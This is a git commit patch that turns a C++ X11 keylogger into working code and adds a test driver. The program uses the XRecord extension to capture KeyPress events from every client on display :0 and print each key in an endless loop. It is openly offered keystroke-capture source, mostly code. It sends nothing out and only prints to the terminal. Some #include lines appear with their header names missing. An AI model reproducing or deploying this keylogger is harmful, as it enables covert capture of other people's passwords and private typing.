From 3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3 Mon Sep 17 00:00:00 2001 From: Vianney Bouchaud Date: Wed, 26 Oct 2011 15:05:27 +0200 Subject: Editing class Keylogger to provide a display on terminal, adding a main for test and a Makefile. Keylogger now works. new file: Makefile modified: includes/Keylogger.hpp modified: srcs/Keylogger.cpp new file: srcs/main.cpp --- srcs/Keylogger.cpp | 23 ++++++++++++----------- srcs/main.cpp | 26 ++++++++++++++++++++++++++ 2 files changed, 38 insertions(+), 11 deletions(-) create mode 100644 srcs/main.cpp (limited to 'srcs') diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp index ae9356c..381660c 100644 --- a/srcs/Keylogger.cpp +++ b/srcs/Keylogger.cpp @@ -5,11 +5,12 @@ // Login // // Started on Wed Oct 5 13:58:25 2011 Vianney Bouchaud -// Last update Thu Oct 6 19:03:44 2011 Vianney Bouchaud +// Last update Wed Oct 26 15:04:35 2011 Vianney Bouchaud // -#include -#include "Keylogger.hpp" +#include +#include +#include "Keylogger.hpp" Keylogger::Keylogger() { @@ -23,29 +24,29 @@ Keylogger::~Keylogger() void Keylogger::start() { if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData)) - throw exception(); + throw std::exception(); } void Keylogger::stop() { if(!XRecordDisableContext(userData.ctrlDisplay, recContext)) - throw exception(); + throw std::exception(); } void Keylogger::setupRecordExtension() { XSynchronize(userData.ctrlDisplay, True); if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second)) - throw exception(); + throw std::exception(); recRange = XRecordAllocRange(); if (!recRange) - throw exception(); + throw std::exception(); recRange->device_events.first = KeyPress; recRange->device_events.last = KeyPress; recClientSpec = XRecordAllClients; recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1); if (!recContext) - throw exception(); + throw std::exception(); } void Keylogger::processData() @@ -53,7 +54,7 @@ void Keylogger::processData() XRecordProcessReplies(userData.dataDisplay); } -bool Keylogger::xConnect(string displayName) +bool Keylogger::xConnect(const std::string &displayName) { m_displayName = displayName; if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str()))) @@ -69,7 +70,7 @@ bool Keylogger::xConnect(string displayName) return (true); } -static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook) +void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook) { if (hook->category != XRecordFromServer) { @@ -81,7 +82,7 @@ static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook if(data->event.u.u.type == KeyPress) { int c = data->event.u.u.detail; - std::cout << XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)) std::endl; + printf("%s\n", XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0))); } XRecordFreeData(hook); } diff --git a/srcs/main.cpp b/srcs/main.cpp new file mode 100644 index 0000000..492c147 --- /dev/null +++ b/srcs/main.cpp @@ -0,0 +1,26 @@ +// +// main.cpp for keylogger testing in /home/vianney +// +// Made by Vianney Bouchaud +// Login +// +// Started on Wed Oct 26 13:53:06 2011 Vianney Bouchaud +// Last update Wed Oct 26 15:00:57 2011 Vianney Bouchaud +// + +#include +#include "Keylogger.hpp" + +int main(void) +{ + Keylogger K; + + if(K.xConnect(":0")) { + K.start(); + while (1) { + K.processData(); + usleep(1000000/3); + } + } + return 0; +} -- cgit v1.2.3-24-g4f1b